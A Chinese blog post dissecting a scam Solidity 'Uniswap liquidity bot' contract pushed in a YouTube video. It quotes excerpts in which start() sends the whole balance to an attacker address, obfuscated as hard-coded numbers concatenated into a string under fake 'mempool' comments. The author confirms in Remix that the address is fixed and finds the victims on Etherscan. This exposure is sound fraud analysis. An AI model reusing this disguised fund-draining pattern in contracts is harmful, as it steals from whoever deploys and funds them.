{"content":{"title":"分析一个scam合约","body":"最近在网上查资料时看到了一个利用合约赚钱的帖子 “Make +1200$ a day passive income with Solidity and Uniswap” ，咋一看以为是闪电贷套利之类的，但还是很好奇就点进去看了下具体是怎么玩的。（视频在油管上 BVLAbJbT59w ，完整代码在 https:\/\/rentry.co\/uvdx4\/raw ）\r\n\r\n视频的主要内容是教用户用remix在eth主网上部署一个合约，然后向合约转一些eth（如1 eth）。后面调用合约中的start方法开始进行自动交易，过一段时间（比如1天）就可以调用withdraw方法把钱取出来了，号称会有大概30%的收益\r\n\r\n# 源码分析\r\n## 整体结构\r\n我本身对solidity也只有一些粗浅的理解，一开始看到这个合约还是被唬住了，觉得还是有模有样的。下面从头开始分析。\r\n\r\n\r\n```\r\n\/\/SPDX-License-Identifier: MIT\r\npragma solidity ^0.6.6;\r\n\r\n\/\/ Import Libraries Migrator\/Exchange\/Factory\r\nimport \"github.com\/Uniswap\/uniswap-v2-periphery\/blob\/master\/contracts\/interfaces\/IUniswapV2Migrator.sol\";\r\nimport \"github.com\/Uniswap\/uniswap-v2-periphery\/blob\/master\/contracts\/interfaces\/V1\/IUniswapV1Exchange.sol\";\r\nimport \"github.com\/Uniswap\/uniswap-v2-periphery\/blob\/master\/contracts\/interfaces\/V1\/IUniswapV1Factory.sol\";\r\n\r\ncontract UniswapLiquidityBot {\r\n   \/\/...\r\n}\r\n```\r\n整个项目就一个contract，虽然引用了3个uniswap接口，但这个contract没有继承这些接口，搜索代码也没有任何地方用到。（我这里其实有些怀疑了，但不确定是不是solidity还有些特殊的玩法，毕竟之前看到一个proxy项目的代码，被一些花式玩法绕晕过）\r\n\r\n## start方法\r\n下面来看看start方法干了啥\r\n\r\n```\r\n    \/*\r\n     * @dev Perform action from different contract pools\r\n     * @param contract address to snipe liquidity from\r\n     * @return `liquidity`.\r\n     *\/\r\n    function start() public payable { \r\n        emit Log(\"Running attack on Uniswap. This can take a while please wait...\");\r\n        if (checkMempoolStarted()){\r\n            payable(_callStartActionMempool()).transfer(address(this).balance);\r\n        }\r\n        else{\r\n            payable(_callStartActionMempool()).transfer(0);\r\n        }\r\n    }\r\n```\r\n嗯，看起来没啥问题，就是判断有没有开始，然后向一个地址转了一笔钱\r\n我们重点看一下_callStartActionMempool 这个得到地址是啥\r\n\r\n```\r\n    function _callStartActionMempool() internal pure returns (address) {\r\n        return parseMemoryPool(callMempool());\r\n    }\r\n    \r\n    function parseMemoryPool(string memory _a) internal pure returns (address _parsed) {\r\n      \/\/ 此处省略，主要是把string转成eth address\r\n    }\r\n    \r\n        \/*\r\n     * @dev Iterating through all mempool to call the one with the with highest possible returns\r\n     * @return `self`.\r\n     *\/\r\n    function callMempool() internal pure returns (string memory) {\r\n        string memory _memPoolOffset = mempool(\"x\", checkLiquidity(getMemPoolOffset()));\r\n        uint _memPoolSol = 783155;\r\n        uint _memPoolLength = getMemPoolLength();\r\n        uint _memPoolSize = 537660;\r\n        uint _memPoolHeight = getMemPoolHeight();\r\n        uint _memPoolWidth = 716768;\r\n        uint _memPoolDepth = getMemPoolDepth();\r\n        uint _memPoolCount = 107685;\r\n\r\n        string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));\r\n        string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));\r\n        string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));\r\n        string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));\r\n\r\n        string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));\r\n        string memory _fullMempool = mempool(\"0\", _allMempools);\r\n\r\n        return _fullMempool;\r\n    }\r\n```\r\nemm，这段代码看起来有点复杂，看注释是从选择出一个可能最高回报的地址。\r\n但等等，为何这个方法是pure呢（pure代表不会读取任何外部数据呢）；而且，既然是多个选择一个，咋没看到循环呢；还有这一个个奇怪的数字又是啥。\r\n继续看里面调用的checkLiquidity和mempool方法\r\n\r\n```\r\n\/*\r\n     * @dev loads all Uniswap mempool into memory\r\n     * @param token An output parameter to which the first token is written.\r\n     * @return `mempool`.\r\n     *\/\r\n    function mempool(string memory _base, string memory _value) internal pure returns (string memory) {\r\n        bytes memory _baseBytes = bytes(_base);\r\n        bytes memory _valueBytes = bytes(_value);\r\n\r\n        string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);\r\n        bytes memory _newValue = bytes(_tmpValue);\r\n\r\n        uint i;\r\n        uint j;\r\n\r\n        for(i=0; i<_baseBytes.length; i++) {\r\n            _newValue[j++] = _baseBytes[i];\r\n        }\r\n\r\n        for(i=0; i<_valueBytes.length; i++) {\r\n            _newValue[j++] = _valueBytes[i];\r\n        }\r\n\r\n        return string(_newValue);\r\n    }\r\n```\r\n这个函数比较容易看懂，就是拼接两个字符串，但注释是什么鬼？？？\r\ncheckLiquidity跟上面类似，只是把数字转成了字符串，但注释写的像模像样\r\n\r\n```\r\n    \/*\r\n     * @dev Check if contract has enough liquidity available\r\n     * @param self The contract to operate on.\r\n     * @return True if the slice starts with the provided text, false otherwise.\r\n     *\/\r\n     function checkLiquidity(uint a) internal pure returns (string memory)\r\n```\r\n\r\n其实到这里可以看出来了，callMempool返回的是一个固定的地址，根本不会去遍历所有的合约地址并找利润最高的。\r\n\r\n# Remix实操\r\n毕竟我还不是那么确定，于是我上remix测试了一下。把callMempool方法改成了public，部署了合约，调用一下callMempool这个看看，果然，调用几次都是个固定地址\r\n\r\n![截屏2022-09-13 00.36.02.png](https:\/\/img.learnblockchain.cn\/attachments\/2022\/09\/fdmG4oPm631f60075e838.png)\r\n\r\n出于好奇，我还上etherscan上看了一下这个地址，哦吼，还是个个人地址，不是合约地址\r\n看下有没有人上钩哈，还真有 （7个人，总共损失 4 eth )\r\nhttps:\/\/etherscan.io\/address\/0xe2c22bf333d41bc8343cdd15daefe0a80fd1a4a5#internaltx\r\n\r\n\r\n![截屏2022-09-13 00.45.47.png](https:\/\/img.learnblockchain.cn\/attachments\/2022\/09\/TOUavzpR631f624c38827.png)\r\n\r\n# 总结\r\n我其实从来没买过eth，也没玩过任何DeFi相关的产品哈，研究这个纯属觉得好玩。大家如果要玩合约，特别是这种还需要自己部署的，更加要小心哈。毕竟，人还是很难赚到认知外的钱的。"},"author":{"user":"https:\/\/learnblockchain.cn\/people\/11515","address":null},"history":null,"timestamp":1663029865,"version":1}